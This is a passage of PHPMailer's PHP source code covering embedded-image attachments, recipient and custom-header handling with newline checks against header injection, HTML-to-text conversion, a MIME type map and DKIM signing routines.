     *                            the content when using an embedded image in HTML
     * @param string $name        Overrides the attachment filename
     * @param string $encoding    File encoding (see $Encoding) defaults to `base64`
     * @param string $type        File MIME type (by default mapped from the `$path` filename's extension)
     * @param string $disposition Disposition to use: `inline` (default) or `attachment`
     *                            (unlikely you want this – {@see `addAttachment()`} instead)
     *
     * @return bool True on successfully adding an attachment
     * @throws Exception
     *
     */
    public function addEmbeddedImage(
        $path,
        $cid,
        $name = '',
        $encoding = self::ENCODING_BASE64,
        $type = '',
        $disposition = 'inline'
    ) {
        try {
            if (!static::fileIsAccessible($path)) {
                throw new Exception($this->lang('file_access') . $path, self::STOP_CONTINUE);
            }

            //If a MIME type is not specified, try to work it out from the file name
            if ('' === $type) {
                $type = static::filenameToType($path);
            }

            if (!$this->validateEncoding($encoding)) {
                throw new Exception($this->lang('encoding') . $encoding);
            }

            $filename = (string) static::mb_pathinfo($path, PATHINFO_BASENAME);
            if ('' === $name) {
                $name = $filename;
            }

            //Append to $attachment array
            $this->attachment[] = [
                0 => $path,
                1 => $filename,
                2 => $name,
                3 => $encoding,
                4 => $type,
                5 => false, //isStringAttachment
                6 => $disposition,
                7 => $cid,
            ];
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }

            return false;
        }

        return true;
    }

    /**
     * Add an embedded stringified attachment.
     * This can include images, sounds, and just about any other document type.
     * If your filename doesn't contain an extension, be sure to set the $type to an appropriate MIME type.
     *
     * @param string $string      The attachment binary data
     * @param string $cid         Content ID of the attachment; Use this to reference
     *                            the content when using an embedded image in HTML
     * @param string $name        A filename for the attachment. If this contains an extension,
     *                            PHPMailer will attempt to set a MIME type for the attachment.
     *                            For example 'file.jpg' would get an 'image/jpeg' MIME type.
     * @param string $encoding    File encoding (see $Encoding), defaults to 'base64'
     * @param string $type        MIME type - will be used in preference to any automatically derived type
     * @param string $disposition Disposition to use
     *
     * @throws Exception
     *
     * @return bool True on successfully adding an attachment
     */
    public function addStringEmbeddedImage(
        $string,
        $cid,
        $name = '',
        $encoding = self::ENCODING_BASE64,
        $type = '',
        $disposition = 'inline'
    ) {
        try {
            //If a MIME type is not specified, try to work it out from the name
            if ('' === $type && !empty($name)) {
                $type = static::filenameToType($name);
            }

            if (!$this->validateEncoding($encoding)) {
                throw new Exception($this->lang('encoding') . $encoding);
            }

            //Append to $attachment array
            $this->attachment[] = [
                0 => $string,
                1 => $name,
                2 => $name,
                3 => $encoding,
                4 => $type,
                5 => true, //isStringAttachment
                6 => $disposition,
                7 => $cid,
            ];
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }

            return false;
        }

        return true;
    }

    /**
     * Validate encodings.
     *
     * @param string $encoding
     *
     * @return bool
     */
    protected function validateEncoding($encoding)
    {
        return in_array(
            $encoding,
            [
                self::ENCODING_7BIT,
                self::ENCODING_QUOTED_PRINTABLE,
                self::ENCODING_BASE64,
                self::ENCODING_8BIT,
                self::ENCODING_BINARY,
            ],
            true
        );
    }

    /**
     * Check if an embedded attachment is present with this cid.
     *
     * @param string $cid
     *
     * @return bool
     */
    protected function cidExists($cid)
    {
        foreach ($this->attachment as $attachment) {
            if ('inline' === $attachment[6] && $cid === $attachment[7]) {
                return true;
            }
        }

        return false;
    }

    /**
     * Check if an inline attachment is present.
     *
     * @return bool
     */
    public function inlineImageExists()
    {
        foreach ($this->attachment as $attachment) {
            if ('inline' === $attachment[6]) {
                return true;
            }
        }

        return false;
    }

    /**
     * Check if an attachment (non-inline) is present.
     *
     * @return bool
     */
    public function attachmentExists()
    {
        foreach ($this->attachment as $attachment) {
            if ('attachment' === $attachment[6]) {
                return true;
            }
        }

        return false;
    }

    /**
     * Check if this message has an alternative body set.
     *
     * @return bool
     */
    public function alternativeExists()
    {
        return !empty($this->AltBody);
    }

    /**
     * Clear queued addresses of given kind.
     *
     * @param string $kind 'to', 'cc', or 'bcc'
     */
    public function clearQueuedAddresses($kind)
    {
        $this->RecipientsQueue = array_filter(
            $this->RecipientsQueue,
            static function ($params) use ($kind) {
                return $params[0] !== $kind;
            }
        );
    }

    /**
     * Clear all To recipients.
     */
    public function clearAddresses()
    {
        foreach ($this->to as $to) {
            unset($this->all_recipients[strtolower($to[0])]);
        }
        $this->to = [];
        $this->clearQueuedAddresses('to');
    }

    /**
     * Clear all CC recipients.
     */
    public function clearCCs()
    {
        foreach ($this->cc as $cc) {
            unset($this->all_recipients[strtolower($cc[0])]);
        }
        $this->cc = [];
        $this->clearQueuedAddresses('cc');
    }

    /**
     * Clear all BCC recipients.
     */
    public function clearBCCs()
    {
        foreach ($this->bcc as $bcc) {
            unset($this->all_recipients[strtolower($bcc[0])]);
        }
        $this->bcc = [];
        $this->clearQueuedAddresses('bcc');
    }

    /**
     * Clear all ReplyTo recipients.
     */
    public function clearReplyTos()
    {
        $this->ReplyTo = [];
        $this->ReplyToQueue = [];
    }

    /**
     * Clear all recipient types.
     */
    public function clearAllRecipients()
    {
        $this->to = [];
        $this->cc = [];
        $this->bcc = [];
        $this->all_recipients = [];
        $this->RecipientsQueue = [];
    }

    /**
     * Clear all filesystem, string, and binary attachments.
     */
    public function clearAttachments()
    {
        $this->attachment = [];
    }

    /**
     * Clear all custom headers.
     */
    public function clearCustomHeaders()
    {
        $this->CustomHeader = [];
    }

    /**
     * Clear a specific custom header by name or name and value.
     * $name value can be overloaded to contain
     * both header name and value (name:value).
     *
     * @param string      $name  Custom header name
     * @param string|null $value Header value
     *
     * @return bool True if a header was replaced successfully
     */
    public function clearCustomHeader($name, $value = null)
    {
        if (null === $value && strpos($name, ':') !== false) {
            //Value passed in as name:value
            list($name, $value) = explode(':', $name, 2);
        }
        $name = trim($name);
        $value = (null === $value) ? null : trim($value);

        foreach ($this->CustomHeader as $k => $pair) {
            if ($pair[0] == $name) {
                // We remove the header if the value is not provided or it matches.
                if (null === $value ||  $pair[1] == $value) {
                    unset($this->CustomHeader[$k]);
                }
            }
        }

        return true;
    }

    /**
     * Replace a custom header.
     * $name value can be overloaded to contain
     * both header name and value (name:value).
     *
     * @param string      $name  Custom header name
     * @param string|null $value Header value
     *
     * @return bool True if a header was replaced successfully
     * @throws Exception
     */
    public function replaceCustomHeader($name, $value = null)
    {
        if (null === $value && strpos($name, ':') !== false) {
            //Value passed in as name:value
            list($name, $value) = explode(':', $name, 2);
        }
        $name = trim($name);
        $value = (null === $value) ? '' : trim($value);

        $replaced = false;
        foreach ($this->CustomHeader as $k => $pair) {
            if ($pair[0] == $name) {
                if ($replaced) {
                    unset($this->CustomHeader[$k]);
                    continue;
                }
                if (strpbrk($name . $value, "\r\n") !== false) {
                    if ($this->exceptions) {
                        throw new Exception($this->lang('invalid_header'));
                    }

                    return false;
                }
                $this->CustomHeader[$k] = [$name, $value];
                $replaced = true;
            }
        }

        return true;
    }

    /**
     * Add an error message to the error container.
     *
     * @param string $msg
     */
    protected function setError($msg)
    {
        ++$this->error_count;
        if ('smtp' === $this->Mailer && null !== $this->smtp) {
            $lasterror = $this->smtp->getError();
            if (!empty($lasterror['error'])) {
                $msg .= $this->lang('smtp_error') . $lasterror['error'];
                if (!empty($lasterror['detail'])) {
                    $msg .= ' ' . $this->lang('smtp_detail') . $lasterror['detail'];
                }
                if (!empty($lasterror['smtp_code'])) {
                    $msg .= ' ' . $this->lang('smtp_code') . $lasterror['smtp_code'];
                }
                if (!empty($lasterror['smtp_code_ex'])) {
                    $msg .= ' ' . $this->lang('smtp_code_ex') . $lasterror['smtp_code_ex'];
                }
            }
        }
        $this->ErrorInfo = $msg;
    }

    /**
     * Return an RFC 822 formatted date.
     *
     * @return string
     */
    public static function rfcDate()
    {
        //Set the time zone to whatever the default is to avoid 500 errors
        //Will default to UTC if it's not set properly in php.ini
        date_default_timezone_set(@date_default_timezone_get());

        return date('D, j M Y H:i:s O');
    }

    /**
     * Get the server hostname.
     * Returns 'localhost.localdomain' if unknown.
     *
     * @return string
     */
    protected function serverHostname()
    {
        $result = '';
        if (!empty($this->Hostname)) {
            $result = $this->Hostname;
        } elseif (isset($_SERVER) && array_key_exists('SERVER_NAME', $_SERVER)) {
            $result = $_SERVER['SERVER_NAME'];
        } elseif (function_exists('gethostname') && gethostname() !== false) {
            $result = gethostname();
        } elseif (php_uname('n') !== '') {
            $result = php_uname('n');
        }
        if (!static::isValidHost($result)) {
            return 'localhost.localdomain';
        }

        return $result;
    }

    /**
     * Validate whether a string contains a valid value to use as a hostname or IP address.
     * IPv6 addresses must include [], e.g. `[::1]`, not just `::1`.
     *
     * @param string $host The host name or IP address to check
     *
     * @return bool
     */
    public static function isValidHost($host)
    {
        //Simple syntax limits
        if (
            empty($host)
            || !is_string($host)
            || strlen($host) > 256
            || !preg_match('/^([a-z\d.-]*|\[[a-f\d:]+\])$/i', $host)
        ) {
            return false;
        }
        //Looks like a bracketed IPv6 address
        if (strlen($host) > 2 && substr($host, 0, 1) === '[' && substr($host, -1, 1) === ']') {
            return filter_var(substr($host, 1, -1), FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) !== false;
        }
        //If removing all the dots results in a numeric string, it must be an IPv4 address.
        //Need to check this first because otherwise things like `999.0.0.0` are considered valid host names
        if (is_numeric(str_replace('.', '', $host))) {
            //Is it a valid IPv4 address?
            return filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) !== false;
        }
        //Is it a syntactically valid hostname (when embedded in a URL)?
        return filter_var('https://' . $host, FILTER_VALIDATE_URL) !== false;
    }

    /**
     * Get an error message in the current language.
     *
     * @param string $key
     *
     * @return string
     */
    protected function lang($key)
    {
        if (count($this->language) < 1) {
            $this->setLanguage(); //Set the default language
        }

        if (array_key_exists($key, $this->language)) {
            if ('smtp_connect_failed' === $key) {
                //Include a link to troubleshooting docs on SMTP connection failure.
                //This is by far the biggest cause of support questions
                //but it's usually not PHPMailer's fault.
                return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
            }

            return $this->language[$key];
        }

        //Return the key as a fallback
        return $key;
    }

    /**
     * Build an error message starting with a generic one and adding details if possible.
     *
     * @param string $base_key
     * @return string
     */
    private function getSmtpErrorMessage($base_key)
    {
        $message = $this->lang($base_key);
        $error = $this->smtp->getError();
        if (!empty($error['error'])) {
            $message .= ' ' . $error['error'];
            if (!empty($error['detail'])) {
                $message .= ' ' . $error['detail'];
            }
        }

        return $message;
    }

    /**
     * Check if an error occurred.
     *
     * @return bool True if an error did occur
     */
    public function isError()
    {
        return $this->error_count > 0;
    }

    /**
     * Add a custom header.
     * $name value can be overloaded to contain
     * both header name and value (name:value).
     *
     * @param string      $name  Custom header name
     * @param string|null $value Header value
     *
     * @return bool True if a header was set successfully
     * @throws Exception
     */
    public function addCustomHeader($name, $value = null)
    {
        if (null === $value && strpos($name, ':') !== false) {
            //Value passed in as name:value
            list($name, $value) = explode(':', $name, 2);
        }
        $name = trim($name);
        $value = (null === $value) ? '' : trim($value);
        //Ensure name is not empty, and that neither name nor value contain line breaks
        if (empty($name) || strpbrk($name . $value, "\r\n") !== false) {
            if ($this->exceptions) {
                throw new Exception($this->lang('invalid_header'));
            }

            return false;
        }
        $this->CustomHeader[] = [$name, $value];

        return true;
    }

    /**
     * Returns all custom headers.
     *
     * @return array
     */
    public function getCustomHeaders()
    {
        return $this->CustomHeader;
    }

    /**
     * Create a message body from an HTML string.
     * Automatically inlines images and creates a plain-text version by converting the HTML,
     * overwriting any existing values in Body and AltBody.
     * Do not source $message content from user input!
     * $basedir is prepended when handling relative URLs, e.g. <img src="/images/a.png"> and must not be empty
     * will look for an image file in $basedir/images/a.png and convert it to inline.
     * If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email)
     * Converts data-uri images into embedded attachments.
     * If you don't want to apply these transformations to your HTML, just set Body and AltBody directly.
     *
     * @param string        $message  HTML message string
     * @param string        $basedir  Absolute path to a base directory to prepend to relative paths to images
     * @param bool|callable $advanced Whether to use the internal HTML to text converter
     *                                or your own custom converter
     * @return string The transformed message body
     *
     * @throws Exception
     *
     * @see PHPMailer::html2text()
     */
    public function msgHTML($message, $basedir = '', $advanced = false)
    {
        preg_match_all('/(?<!-)(src|background)=["\'](.*)["\']/Ui', $message, $images);
        if (array_key_exists(2, $images)) {
            if (strlen($basedir) > 1 && '/' !== substr($basedir, -1)) {
                //Ensure $basedir has a trailing /
                $basedir .= '/';
            }
            foreach ($images[2] as $imgindex => $url) {
                //Convert data URIs into embedded images
                //e.g. "data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="
                $match = [];
                if (preg_match('#^data:(image/(?:jpe?g|gif|png));?(base64)?,(.+)#', $url, $match)) {
                    if (count($match) === 4 && static::ENCODING_BASE64 === $match[2]) {
                        $data = base64_decode($match[3]);
                    } elseif ('' === $match[2]) {
                        $data = rawurldecode($match[3]);
                    } else {
                        //Not recognised so leave it alone
                        continue;
                    }
                    //Hash the decoded data, not the URL, so that the same data-URI image used in multiple places
                    //will only be embedded once, even if it used a different encoding
                    $cid = substr(hash('sha256', $data), 0, 32) . '@phpmailer.0'; //RFC2392 S 2

                    if (!$this->cidExists($cid)) {
                        $this->addStringEmbeddedImage(
                            $data,
                            $cid,
                            'embed' . $imgindex,
                            static::ENCODING_BASE64,
                            $match[1]
                        );
                    }
                    $message = str_replace(
                        $images[0][$imgindex],
                        $images[1][$imgindex] . '="cid:' . $cid . '"',
                        $message
                    );
                    continue;
                }
                if (
                    //Only process relative URLs if a basedir is provided (i.e. no absolute local paths)
                    !empty($basedir)
                    //Ignore URLs containing parent dir traversal (..)
                    && (strpos($url, '..') === false)
                    //Do not change urls that are already inline images
                    && 0 !== strpos($url, 'cid:')
                    //Do not change absolute URLs, including anonymous protocol
                    && !preg_match('#^[a-z][a-z0-9+.-]*:?//#i', $url)
                ) {
                    $filename = static::mb_pathinfo($url, PATHINFO_BASENAME);
                    $directory = dirname($url);
                    if ('.' === $directory) {
                        $directory = '';
                    }
                    //RFC2392 S 2
                    $cid = substr(hash('sha256', $url), 0, 32) . '@phpmailer.0';
                    if (strlen($basedir) > 1 && '/' !== substr($basedir, -1)) {
                        $basedir .= '/';
                    }
                    if (strlen($directory) > 1 && '/' !== substr($directory, -1)) {
                        $directory .= '/';
                    }
                    if (
                        $this->addEmbeddedImage(
                            $basedir . $directory . $filename,
                            $cid,
                            $filename,
                            static::ENCODING_BASE64,
                            static::_mime_types((string) static::mb_pathinfo($filename, PATHINFO_EXTENSION))
                        )
                    ) {
                        $message = preg_replace(
                            '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                }
            }
        }
        $this->isHTML();
        //Convert all message body line breaks to LE, makes quoted-printable encoding work much better
        $this->Body = static::normalizeBreaks($message);
        $this->AltBody = static::normalizeBreaks($this->html2text($message, $advanced));
        if (!$this->alternativeExists()) {
            $this->AltBody = 'This is an HTML-only message. To view it, activate HTML in your email application.'
                . static::$LE;
        }

        return $this->Body;
    }

    /**
     * Convert an HTML string into plain text.
     * This is used by msgHTML().
     * Note - older versions of this function used a bundled advanced converter
     * which was removed for license reasons in #232.
     * Example usage:
     *
     * ```php
     * //Use default conversion
     * $plain = $mail->html2text($html);
     * //Use your own custom converter
     * $plain = $mail->html2text($html, function($html) {
     *     $converter = new MyHtml2text($html);
     *     return $converter->get_text();
     * });
     * ```
     *
     * @param string        $html     The HTML text to convert
     * @param bool|callable $advanced Any boolean value to use the internal converter,
     *                                or provide your own callable for custom conversion.
     *                                *Never* pass user-supplied data into this parameter
     *
     * @return string
     */
    public function html2text($html, $advanced = false)
    {
        if (is_callable($advanced)) {
            return call_user_func($advanced, $html);
        }

        return html_entity_decode(
            trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
            ENT_QUOTES,
            $this->CharSet
        );
    }

    /**
     * Get the MIME type for a file extension.
     *
     * @param string $ext File extension
     *
     * @return string MIME type of file
     */
    public static function _mime_types($ext = '')
    {
        $mimes = [
            'xl' => 'application/excel',
            'js' => 'application/javascript',
            'hqx' => 'application/mac-binhex40',
            'cpt' => 'application/mac-compactpro',
            'bin' => 'application/macbinary',
            'doc' => 'application/msword',
            'word' => 'application/msword',
            'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
            'xltx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
            'potx' => 'application/vnd.openxmlformats-officedocument.presentationml.template',
            'ppsx' => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
            'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
            'sldx' => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
            'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
            'dotx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
            'xlam' => 'application/vnd.ms-excel.addin.macroEnabled.12',
            'xlsb' => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
            'class' => 'application/octet-stream',
            'dll' => 'application/octet-stream',
            'dms' => 'application/octet-stream',
            'exe' => 'application/octet-stream',
            'lha' => 'application/octet-stream',
            'lzh' => 'application/octet-stream',
            'psd' => 'application/octet-stream',
            'sea' => 'application/octet-stream',
            'so' => 'application/octet-stream',
            'oda' => 'application/oda',
            'pdf' => 'application/pdf',
            'ai' => 'application/postscript',
            'eps' => 'application/postscript',
            'ps' => 'application/postscript',
            'smi' => 'application/smil',
            'smil' => 'application/smil',
            'mif' => 'application/vnd.mif',
            'xls' => 'application/vnd.ms-excel',
            'ppt' => 'application/vnd.ms-powerpoint',
            'wbxml' => 'application/vnd.wap.wbxml',
            'wmlc' => 'application/vnd.wap.wmlc',
            'dcr' => 'application/x-director',
            'dir' => 'application/x-director',
            'dxr' => 'application/x-director',
            'dvi' => 'application/x-dvi',
            'gtar' => 'application/x-gtar',
            'php3' => 'application/x-httpd-php',
            'php4' => 'application/x-httpd-php',
            'php' => 'application/x-httpd-php',
            'phtml' => 'application/x-httpd-php',
            'phps' => 'application/x-httpd-php-source',
            'swf' => 'application/x-shockwave-flash',
            'sit' => 'application/x-stuffit',
            'tar' => 'application/x-tar',
            'tgz' => 'application/x-tar',
            'xht' => 'application/xhtml+xml',
            'xhtml' => 'application/xhtml+xml',
            'zip' => 'application/zip',
            'mid' => 'audio/midi',
            'midi' => 'audio/midi',
            'mp2' => 'audio/mpeg',
            'mp3' => 'audio/mpeg',
            'm4a' => 'audio/mp4',
            'mpga' => 'audio/mpeg',
            'aif' => 'audio/x-aiff',
            'aifc' => 'audio/x-aiff',
            'aiff' => 'audio/x-aiff',
            'ram' => 'audio/x-pn-realaudio',
            'rm' => 'audio/x-pn-realaudio',
            'rpm' => 'audio/x-pn-realaudio-plugin',
            'ra' => 'audio/x-realaudio',
            'wav' => 'audio/x-wav',
            'mka' => 'audio/x-matroska',
            'bmp' => 'image/bmp',
            'gif' => 'image/gif',
            'jpeg' => 'image/jpeg',
            'jpe' => 'image/jpeg',
            'jpg' => 'image/jpeg',
            'png' => 'image/png',
            'tiff' => 'image/tiff',
            'tif' => 'image/tiff',
            'webp' => 'image/webp',
            'avif' => 'image/avif',
            'heif' => 'image/heif',
            'heifs' => 'image/heif-sequence',
            'heic' => 'image/heic',
            'heics' => 'image/heic-sequence',
            'eml' => 'message/rfc822',
            'css' => 'text/css',
            'html' => 'text/html',
            'htm' => 'text/html',
            'shtml' => 'text/html',
            'log' => 'text/plain',
            'text' => 'text/plain',
            'txt' => 'text/plain',
            'rtx' => 'text/richtext',
            'rtf' => 'text/rtf',
            'vcf' => 'text/vcard',
            'vcard' => 'text/vcard',
            'ics' => 'text/calendar',
            'xml' => 'text/xml',
            'xsl' => 'text/xml',
            'csv' => 'text/csv',
            'wmv' => 'video/x-ms-wmv',
            'mpeg' => 'video/mpeg',
            'mpe' => 'video/mpeg',
            'mpg' => 'video/mpeg',
            'mp4' => 'video/mp4',
            'm4v' => 'video/mp4',
            'mov' => 'video/quicktime',
            'qt' => 'video/quicktime',
            'rv' => 'video/vnd.rn-realvideo',
            'avi' => 'video/x-msvideo',
            'movie' => 'video/x-sgi-movie',
            'webm' => 'video/webm',
            'mkv' => 'video/x-matroska',
        ];
        $ext = strtolower($ext);
        if (array_key_exists($ext, $mimes)) {
            return $mimes[$ext];
        }

        return 'application/octet-stream';
    }

    /**
     * Map a file name to a MIME type.
     * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
     *
     * @param string $filename A file name or full path, does not need to exist as a file
     *
     * @return string
     */
    public static function filenameToType($filename)
    {
        //In case the path is a URL, strip any query string before getting extension
        $qpos = strpos($filename, '?');
        if (false !== $qpos) {
            $filename = substr($filename, 0, $qpos);
        }
        $ext = static::mb_pathinfo($filename, PATHINFO_EXTENSION);

        return static::_mime_types($ext);
    }

    /**
     * Multi-byte-safe pathinfo replacement.
     * Drop-in replacement for pathinfo(), but multibyte- and cross-platform-safe.
     *
     * @see https://www.php.net/manual/en/function.pathinfo.php#107461
     *
     * @param string     $path    A filename or path, does not need to exist as a file
     * @param int|string $options Either a PATHINFO_* constant,
     *                            or a string name to return only the specified piece
     *
     * @return string|array
     */
    public static function mb_pathinfo($path, $options = null)
    {
        $ret = ['dirname' => '', 'basename' => '', 'extension' => '', 'filename' => ''];
        $pathinfo = [];
        if (preg_match('#^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^.\\\\/]+?)|))[\\\\/.]*$#m', $path, $pathinfo)) {
            if (array_key_exists(1, $pathinfo)) {
                $ret['dirname'] = $pathinfo[1];
            }
            if (array_key_exists(2, $pathinfo)) {
                $ret['basename'] = $pathinfo[2];
            }
            if (array_key_exists(5, $pathinfo)) {
                $ret['extension'] = $pathinfo[5];
            }
            if (array_key_exists(3, $pathinfo)) {
                $ret['filename'] = $pathinfo[3];
            }
        }
        switch ($options) {
            case PATHINFO_DIRNAME:
            case 'dirname':
                return $ret['dirname'];
            case PATHINFO_BASENAME:
            case 'basename':
                return $ret['basename'];
            case PATHINFO_EXTENSION:
            case 'extension':
                return $ret['extension'];
            case PATHINFO_FILENAME:
            case 'filename':
                return $ret['filename'];
            default:
                return $ret;
        }
    }

    /**
     * Set or reset instance properties.
     * You should avoid this function - it's more verbose, less efficient, more error-prone and
     * harder to debug than setting properties directly.
     * Usage Example:
     * `$mail->set('SMTPSecure', static::ENCRYPTION_STARTTLS);`
     *   is the same as:
     * `$mail->SMTPSecure = static::ENCRYPTION_STARTTLS;`.
     *
     * @param string $name  The property name to set
     * @param mixed  $value The value to set the property to
     *
     * @return bool
     */
    public function set($name, $value = '')
    {
        if (property_exists($this, $name)) {
            $this->{$name} = $value;

            return true;
        }
        $this->setError($this->lang('variable_set') . $name);

        return false;
    }

    /**
     * Strip newlines to prevent header injection.
     *
     * @param string $str
     *
     * @return string
     */
    public function secureHeader($str)
    {
        return trim(str_replace(["\r", "\n"], '', $str));
    }

    /**
     * Normalize line breaks in a string.
     * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
     * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
     *
     * @param string $text
     * @param string $breaktype What kind of line break to use; defaults to static::$LE
     *
     * @return string
     */
    public static function normalizeBreaks($text, $breaktype = null)
    {
        if (null === $breaktype) {
            $breaktype = static::$LE;
        }
        //Normalise to \n
        $text = str_replace([self::CRLF, "\r"], "\n", $text);
        //Now convert LE as needed
        if ("\n" !== $breaktype) {
            $text = str_replace("\n", $breaktype, $text);
        }

        return $text;
    }

    /**
     * Remove trailing whitespace from a string.
     *
     * @param string $text
     *
     * @return string The text to remove whitespace from
     */
    public static function stripTrailingWSP($text)
    {
        return rtrim($text, " \r\n\t");
    }

    /**
     * Strip trailing line breaks from a string.
     *
     * @param string $text
     *
     * @return string The text to remove breaks from
     */
    public static function stripTrailingBreaks($text)
    {
        return rtrim($text, "\r\n");
    }

    /**
     * Return the current line break format string.
     *
     * @return string
     */
    public static function getLE()
    {
        return static::$LE;
    }

    /**
     * Set the line break format string, e.g. "\r\n".
     *
     * @param string $le
     */
    protected static function setLE($le)
    {
        static::$LE = $le;
    }

    /**
     * Set the public and private key files and password for S/MIME signing.
     *
     * @param string $cert_filename
     * @param string $key_filename
     * @param string $key_pass            Password for private key
     * @param string $extracerts_filename Optional path to chain certificate
     */
    public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
    {
        $this->sign_cert_file = $cert_filename;
        $this->sign_key_file = $key_filename;
        $this->sign_key_pass = $key_pass;
        $this->sign_extracerts_file = $extracerts_filename;
    }

    /**
     * Quoted-Printable-encode a DKIM header.
     *
     * @param string $txt
     *
     * @return string
     */
    public function DKIM_QP($txt)
    {
        $line = '';
        $len = strlen($txt);
        for ($i = 0; $i < $len; ++$i) {
            $ord = ord($txt[$i]);
            if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord === 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
                $line .= $txt[$i];
            } else {
                $line .= '=' . sprintf('%02X', $ord);
            }
        }

        return $line;
    }

    /**
     * Generate a DKIM signature.
     *
     * @param string $signHeader
     *
     * @throws Exception
     *
     * @return string The DKIM signature value
     */
    public function DKIM_Sign($signHeader)
    {
        if (!defined('PKCS7_TEXT')) {
            if ($this->exceptions) {
                throw new Exception($this->lang('extension_missing') . 'openssl');
            }

            return '';
        }
        $privKeyStr = !empty($this->DKIM_private_string) ?
            $this->DKIM_private_string :
            file_get_contents($this->DKIM_private);
        if ('' !== $this->DKIM_passphrase) {
            $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
        } else {
            $privKey = openssl_pkey_get_private($privKeyStr);
        }
        if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) {
            if (\PHP_MAJOR_VERSION < 8) {
                openssl_pkey_free($privKey);
            }

            return base64_encode($signature);
        }
        if (\PHP_MAJOR_VERSION < 8) {
            openssl_pkey_free($privKey);
        }

        return '';
    }

    /**
     * Generate a DKIM canonicalization header.
     * Uses the 'relaxed' algorithm from RFC6376 section 3.4.2.
     * Canonicalized headers should *always* use CRLF, regardless of mailer setting.
     *
     * @see https://www.rfc-editor.org/rfc/rfc6376#section-3.4.2
     *
     * @param string $signHeader Header
     *
     * @return string
     */
    public function DKIM_HeaderC($signHeader)
    {
        //Normalize breaks to CRLF (regardless of the mailer)
        $signHeader = static::normalizeBreaks($signHeader, self::CRLF);
        //Unfold header lines
        //Note PCRE \s is too broad a definition of whitespace; RFC5322 defines it as `[ \t]`
        //@see https://www.rfc-editor.org/rfc/rfc5322#section-2.2
        //That means this may break if you do something daft like put vertical tabs in your headers.
        $signHeader = preg_replace('/\r\n[ \t]+/', ' ', $signHeader);
        //Break headers out into an array
        $lines = explode(self::CRLF, $signHeader);
        foreach ($lines as $key => $line) {
            //If the header is missing a :, skip it as it's invalid
            //This is likely to happen because the explode() above will also split
            //on the trailing LE, leaving an empty line
            if (strpos($line, ':') === false) {
                continue;
            }
            list($heading, $value) = explode(':', $line, 2);
            //Lower-case header name
            $heading = strtolower($heading);
            //Collapse white space within the value, also convert WSP to space
            $value = preg_replace('/[ \t]+/', ' ', $value);
            //RFC6376 is slightly unclear here - it says to delete space at the *end* of each value
            //But then says to delete space before and after the colon.
            //Net result is the same as trimming both ends of the value.
            //By elimination, the same applies to the field name
            $lines[$key] = trim($heading, " \t") . ':' . trim($value, " \t");
        }

        return implode(self::CRLF, $lines);
    }

    /**
     * Generate a DKIM canonicalization body.
     * Uses the 'simple' algorithm from RFC6376 section 3.4.3.
     * Canonicalized bodies should *always* use CRLF, regardless of mailer setting.
     *
     * @see https://www.rfc-editor.org/rfc/rfc6376#section-3.4.3
     *
     * @param string $body Message Body
     *
     * @return string
     */
    public function DKIM_BodyC($body)
    {
        if (empty($body)) {
            return self::CRLF;
        }
        //Normalize line endings to CRLF
        $body = static::normalizeBreaks($body, self::CRLF);

        //Reduce multiple trailing line breaks to a single one
        return static::stripTrailingBreaks($body) . self::CRLF;
    }

    /**
     * Create the DKIM header and body in a new message header.
     *
     * @param string $headers_line Header lines
     * @param string $subject      Subject
     * @param string $body         Body
     *
     * @throws Exception
     *
     * @return string
     */
    public function DKIM_Add($headers_line, $subject, $body)
    {
        $DKIMsignatureType = 'rsa-sha256'; //Signature & hash algorithms
        $DKIMcanonicalization = 'relaxed/simple'; //Canonicalization methods of header & body
        $DKIMquery = 'dns/txt'; //Query method
        $DKIMtime = time();
        //Always sign these headers without being asked
        //Recommended list from https://www.rfc-editor.org/rfc/rfc6376#section-5.4.1
        $autoSignHeaders = [
            'from',
            'to',
            'cc',
            'date',
            'subject',
            'reply-to',
            'message-id',
            'content-type',
            'mime-version',
            'x-mailer',
        ];
        if (stripos($headers_line, 'Subject') === false) {
            $headers_line .= 'Subject: ' . $subject . static::$LE;
        }
        $headerLines = explode(static::$LE, $headers_line);
        $currentHeaderLabel = '';
        $currentHeaderValue = '';
        $parsedHeaders = [];
        $headerLineIndex = 0;
        $headerLineCount = count($headerLines);
        foreach ($headerLines as $headerLine) {
            $matches = [];
            if (preg_match('/^([^ \t]*?)(?::[ \t]*)(.*)$/', $headerLine, $matches)) {
                if ($currentHeaderLabel !== '') {
                    //We were previously in another header; This is the start of a new header, so save the previous one
                    $parsedHeaders[] = ['label' => $currentHeaderLabel, 'value' => $currentHeaderValue];
                }
                $currentHeaderLabel = $matches[1];
                $currentHeaderValue = $matches[2];
            } elseif (preg_match('/^[ \t]+(.*)$/', $headerLine, $matches)) {
                //This is a folded continuation of the current header, so unfold it
